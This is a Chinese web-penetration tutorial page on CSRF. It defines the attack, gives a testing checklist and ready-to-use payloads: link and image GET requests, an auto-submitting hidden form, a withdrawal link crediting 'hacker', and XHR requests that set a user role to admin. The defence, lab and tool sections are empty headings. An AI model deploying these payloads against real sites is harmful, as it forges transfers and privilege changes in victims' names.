当前位置:网站首页>WEB 渗透之CSRF
WEB 渗透之CSRF
2022-08-03 18:13:00 【weixin_53150482】
CSRF
文章目录
1. 介绍
- 定义: CSRF 称为跨站请求伪造,攻击者诱导受害者进入第三方网站,在第三方网站中,先被攻击的网站发起跨站请求,利用受害者在被攻击网站已经
获取的注册凭证
,绕过后台的用户验证,达到冒充用户被攻击的网站执行某项操作的目的
2. 产生原因
3. 漏洞利用
1. 攻击流程
2. 常见的攻击类型
攻击思路
- 查看有无token等验证身份的参数,删掉后是否返回正常
- 查看header中referer,origin参数,删掉后是否返回正常
- 使用csrftester/burpsuite生成表单,以另一账号和浏览器打开测试
- 去掉referer中域名后面的文件夹或文件
- 替换二级域名
1. GET 类型
- 需要用户交互
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
- 无用户交互
<img src="http://www.example.com/api/setusername?username=CSRFd">
2. POST 类型
- 需要用户交互
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
<input name="username" type="hidden" value="CSRFd" />
<input type="submit" value="Submit Request" />
</form>
- 不需要用户浇花:
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST"> <input name="username" type="hidden" value="CSRFd" /> <input type="submit" value="Submit Request" /> </form> <script> document.getElementById("autosubmit").submit(); </script>
3. 链接类型
- 该类型的 CSRF 需要引导用户点击链接才会触发
<a href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank"> 重磅消息!! <a/>
4. JSON GET
<script> var xhr = new XMLHttpRequest(); xhr.open("GET", "http://www.example.com/api/currentuser"); xhr.send(); </script>
5. JSON POST
<script> var xhr = new XMLHttpRequest(); xhr.open("POST", "http://www.example.com/api/setrole"); //application/json is not allowed in a simple request. text/plain is the default xhr.setRequestHeader("Content-Type", "text/plain"); //You will probably want to also try one or both of these //xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); //xhr.setRequestHeader("Content-Type", "multipart/form-data"); xhr.send('{"role":admin}'); </script>
<script> var xhr = new XMLHttpRequest(); xhr.open("POST", "http://www.example.com/api/setrole"); xhr.withCredentials = true; xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8"); xhr.send('{"role":admin}'); </script>
3. CSRF 特点
- 攻击一般发生在第三方网站
- 攻击是利用受害者在登陆网站的登录凭证,冒充受害者的提交操作
- 整个过程中攻击者仅仅是
冒用受害者的登录凭证
4. 浏览器的 Cookie 策略
介绍: Cookie 是服务器发送到用户浏览器并保存到本地上的一小块数据,会在浏览器下次访问的时候向同一服务器发起请求并发送到服务器上,Cookie 主要用户三个方面
- 会话管理
- 个性化设置
分类:
Session Cookie (绘画器 Cookie) 最简单的 Cookie , 仅在会话期内有效,浏览器关闭之后会被自动删除
Permanent Cookie (持久性 Cookie): 持久性 Cookie 可以指定一个特定的过期时间或有效期
举例:
('Set-Cookie', ['mycookie=222', 'test=3333; expires=Sat, 21 Jul 2018 00:00:00 GMT;']);
上述创建的 Cookie 中,mycookie 属于会话期 Cookie, test 属于持久性 Cookie。
每个 Cookie 都会有与之关联的域,这个域的范围一般通过 domain 属性指定,如果 Cookie 的域和页面的域相同,那么这个 Cookie 称为 第一方 Cookie, 如果 Cookie 的域和页面的域不同,则称为第三方的 Cookie ,一个页面包含的图片或存放在其他域上的资源时,第一反应的 Cookie 也只会发送给设置他们的服务器
5. 防护策略:
6. 相关靶场
7. 相关工具
8. 借鉴文章
in.cn/post/6844903689702866952#heading-2)
6. 相关靶场
7. 相关工具
8. 借鉴文章
边栏推荐
- 程序员如何分分钟搞垮一个项目?
- CodeTON Round 2 (Div. 1 + Div. 2, Rated, Prizes), problem: (D) Magical Array
- “vite”和“vite预览”有什么区别?
- 【牛客在线OJ】-字符逆序
- select......for update 语句的功能是什么? 会锁表还是锁行?
- CC2530_ZigBee+HUAWEI CLOUD IOT: Design your own cold chain acquisition system
- 动态接口比例性能测试实践
- ImportError: /lib/libgdal.so.26: undefined symbol: sqlite3_column_table_name
- 二叉树求和路径问题解答与注记
- 图像质量指标:PSNR、SSIM、MSE
猜你喜欢
随机推荐
Is OnePlus Ace worth buying?Use strength to interpret the power of performance
走进通信:为什么4G信号满格,却上不了网呢
cocos creater 3.x 插件安装方法
使用.NET简单实现一个Redis的高性能克隆版(一)
Share 14 JS functions you must know
ASA归因:如何评估关键词的投放价值
借助kubekey极速安装Kubernetes
cdc抽取mysql整个实例的binlog,有没有方案通过配置的方式将这些库表拆开分发到kafka
87.(cesium之家)cesium热力图(贴地形)
MVCC多版本并发控制的理解
中国算力大会昇腾鲲鹏生态论坛举办;快手成立独立to B业务部门…
OSError: [WinError 123] 文件名、目录名或卷标语法不正确
常见亲脂性细胞膜染料DiO, Dil, DiR, Did光谱图和实验操作流程
WPF 实现柱形统计图
ATM银行系统(对象初级练习)
WPF implements column chart
flink-sql 客户端 可以设置并行度 吗?断开算子链
SQL代码需要供其他人复用,为什么传统的复制代码不可靠?
es6新增-async函数(异步编程的最终解决方案)
Gson 学习笔记